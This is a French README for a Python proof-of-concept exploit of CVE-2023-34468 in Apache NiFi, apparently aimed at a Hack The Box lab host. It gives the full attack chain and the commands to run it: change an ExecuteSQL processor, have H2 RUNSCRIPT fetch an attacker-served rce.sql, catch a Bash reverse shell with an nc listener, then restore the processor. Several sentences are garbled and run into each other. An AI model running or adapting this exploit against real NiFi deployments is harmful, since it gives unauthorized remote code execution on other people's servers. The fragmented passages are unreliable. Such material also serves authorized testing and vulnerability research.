
CVE-2023-34468 Apache NiFi ExecuteSQL H2 RUNSCRIPT RCE PoC
Petite preuve de concept en Python pour abuser d'un processeur ExecuteSQL Apache NiFi modifiable avec une charge utile H2 RUNSCRIPT afin de déclencher l'exécution de commandes à distance via un reverse shell Bash.
Uniquement pour les tests autorisés et la recherche. Ne pas utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite.
ExecuteSQL processor update -> H2 RUNSCRIPT fetch -> Bash reverse shell -> processor restore
--processor-id manuellement.rce.sql qui définit et appelle un alias d'exécution de shell basé sur Java.nc et serveur HTTP.rce.sql via H2 RUNSCRIPT.



git clone https://github.com/ozcanpng/CVE-2023-34468.git
cd CVE-2023-34468
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
Terminal 1 :
rlwrap nc -lvnp 4444
Terminal 2, depuis le répertoire de ce dépôt :
python3 -m http.server 8000
Terminal 3 :
python3 CVE-2023-34468.py --url http://flow.helix.htb --lhost 10.10.16.53 --lport 4444
Pour la sélection manuelle du processeur :
python3 CVE-2023-34468.py --url http://flow.helix.htb --processor-id <UUID> --lhost 10.10.16.53 --lport 4444
| Produit | Version affectée | Accès requis | Impact |
|---|---|---|---|
| Apache NiFi | Déploiements affectés par CVE-2023-34468 utilisant le comportement modifiable ExecuteSQL/H2 | Capacité d'atteindre et de modifier le processeur NiFi cible via l'API | Exécution de commandes à distance |
rce.sql généré est ignoré par git et doit être servi depuis le répertoire du dépôt avec python3 -m http.server.--processor-id.ozcanpng — github.com/ozcanpng — ozcanpng.dev